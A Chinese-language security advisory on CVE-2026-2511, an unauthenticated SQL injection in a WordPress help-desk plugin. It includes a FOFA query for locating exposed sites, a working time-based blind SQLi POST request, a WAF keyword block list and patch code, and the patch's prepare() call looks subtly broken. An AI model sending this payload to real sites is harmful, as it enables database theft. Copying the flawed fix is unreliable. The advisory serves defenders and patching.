基本信息

项目详情
漏洞编号CVE-2026-2511
插件名称JS Help Desk – AI-Powered Support & Ticketing System
fofa"wp-content/plugins/js-support-ticket"
受影响版本<= 3.0.4
补丁版本3.0.5
CVSS 3.17.5(高危)
漏洞类型SQL注入(SQL Injection)
利用难度低(无需认证)
危害等级高危

漏洞概述

JS Help Desk 是一款功能强大的 WordPress 客服工单系统插件,支持 AI 驱动的支持、多表单、自定义字段和邮件通知等功能。该插件在 3.0.4 及之前版本中存在一处 SQL 注入漏洞,攻击者可以通过构造恶意的 multiformid 参数,在无需认证的情况下执行任意 SQL 语句,从而窃取数据库敏感信息、篡改数据或完全控制数据库。


漏洞成因

根本原因分析

该漏洞的根本原因在于插件开发者在处理用户输入的 multiformid 参数时,虽然使用了 esc_sql() 函数进行转义,但未将转义后的值用单引号包裹在 SQL 查询中esc_sql() 主要针对包含引号的字符串进行转义,当 payload 中不包含任何引号字符时,转义将完全失效,导致 SQL 注入。

1. 漏洞入口

modules/ticket/controller.php 文件中,saveticket() 方法接收前端提交的 POST 数据,并直接将其传递给 storeTickets() 方法:

static function saveticket() {
    $jsst_id = JSSTrequest::getVar('id');
    $jsst_nonce = JSSTrequest::getVar('_wpnonce');
    if (! wp_verify_nonce( $jsst_nonce, 'save-ticket-'.$jsst_id) ) {
        die( 'Security check Failed' );
    }
    $jsst_data = JSSTrequest::get('post');
    $jsst_result = JSSTincluder::getJSModel('ticket')->storeTickets($jsst_data);
    // ...
}
2. 不安全的参数传递

modules/ticket/model.phpstoreTickets() 方法中,multiformid 被直接传递给 fieldordering 模型:

// 第 1178 行
$jsst_isRequired = JSSTincluder::getJSmodel('fieldordering')->checkIsFieldRequired('issuesummary',$jsst_data['multiformid']);

// 第 1193 行
$jsst_userfield = JSSTincluder::getJSModel('fieldordering')->getUserfieldsfor(1,$jsst_data['multiformid']);
3. 有缺陷的 SQL 拼接

modules/fieldordering/model.php 中,以下两个函数直接将 esc_sql() 的返回值拼接到 SQL 中,且未使用单引号包裹

checkIsFieldRequired() 函数(第 181 行):

$jsst_query = "SELECT required FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor =  1 AND  field =  '".esc_sql($jsst_field)."' AND multiformid =  " . esc_sql($jsst_formid);
//无单引号包裹

getUserfieldsfor() 函数(第 996 行):

$jsst_inquery = " AND multiformid = ".esc_sql($jsst_multiformid);
//无单引号包裹
4. 为什么 esc_sql() 无效

esc_sql() 的核心作用是转义引号字符(如 '")。当 multiformid 的值是一个不包含任何引号的 payload 时,例如:

1 AND (SELECT 1337 FROM (SELECT(SLEEP(6)))a)

esc_sql() 不会对其进行任何有效过滤,该 payload 会被直接拼接到 SQL 语句中执行。


漏洞影响

1. 数据泄露风险

攻击者可以:

  • 获取 WordPress 所有用户的用户名、密码哈希、邮箱地址
  • 读取数据库中的敏感配置信息
  • 导出整个数据库内容

2. 数据篡改风险

攻击者可以:

  • 修改管理员密码,接管网站
  • 篡改工单内容,插入恶意代码
  • 删除或损坏重要数据

3. 服务器沦陷风险

在特定条件下,攻击者可以:

  • 通过 SQL 注入获取服务器 shell
  • 在服务器上执行任意命令
  • 完全控制目标服务器

漏洞复现

受影响端点

端点方法认证要求
/wp-admin/admin-ajax.phpform_request=jssupportticketPOST无需认证

复现步骤

验证漏洞存在(时间盲注)

在创建工单的请求中,将 multiformid 参数替换为以下 payload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

action=jssupportticket_ajax&jssupportticketpageid=1&form_request=jssupportticket&_wpnonce=NONCE_VALUE&id=&subject=nucleitest&email=nuclei@test.com&jsticket_message=test&message=test&multiformid=1 AND (SELECT 1337 FROM (SELECT(SLEEP(6)))a)&uid=0

如果服务器响应时间延迟约 6 秒,则证明存在 SQL 注入漏洞。


修复建议

1. 立即升级

强烈建议所有用户立即升级到 3.0.5 或更高版本,官方已在该版本中修复了此漏洞。

2. 临时缓解措施(无法立即升级时)

如果暂时无法升级,可以通过以下方式缓解风险:

方法1:使用 WAF 规则拦截

在 Web 应用防火墙(WAF)中添加规则,拦截包含 SQL 关键字的请求:

- 监控路径:/wp-admin/admin-ajax.php(包含 form_request=jssupportticket)
- 拦截关键词:UNION、SELECT、INSERT、UPDATE、DELETE、DROP、SLEEP、BENCHMARK
- 拦截特殊字符:分号、注释符(--、/*、*/)
方法2:代码层面临时修复

modules/fieldordering/model.php 中,为 esc_sql() 的返回值添加单引号包裹,或强制将参数转换为整数:

// 临时修复方案1:添加单引号
$jsst_inquery = " AND multiformid = '" . esc_sql($jsst_multiformid) . "'";

// 临时修复方案2:强制类型转换(推荐,因为 multiformid 应为整数)
$jsst_multiformid = intval($jsst_multiformid);
$jsst_inquery = " AND multiformid = " . $jsst_multiformid;

3. 代码修复方案

正确的修复方式应该是使用预处理语句或严格的类型校验:

function checkIsFieldRequired($jsst_field, $jsst_formid = '') {
    if (!isset($jsst_formid) || $jsst_formid == '') {
        $jsst_formid = JSSTincluder::getJSmodel('ticket')->getDefaultMultiFormId();
    }
    
    // 强制转换为整数
    $jsst_formid = intval($jsst_formid);
    
    // ... 后续查询逻辑
    $jsst_query = $wpdb->prepare(
        "SELECT required FROM `%sjs_ticket_fieldsordering` WHERE %s AND fieldfor = 1 AND field = %s AND multiformid = %d",
        jssupportticket::$_db->prefix,
        $jsst_published,
        $jsst_field,
        $jsst_formid
    );
    $jsst_required = jssupportticket::$_db->get_var($jsst_query);
    return $jsst_required;
}

免责声明

本报告仅供安全研究和授权测试使用。未经授权对他人系统进行安全测试属于违法行为,请遵守相关法律法规。使用本报告中的信息所造成的任何后果,与报告作者无关。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐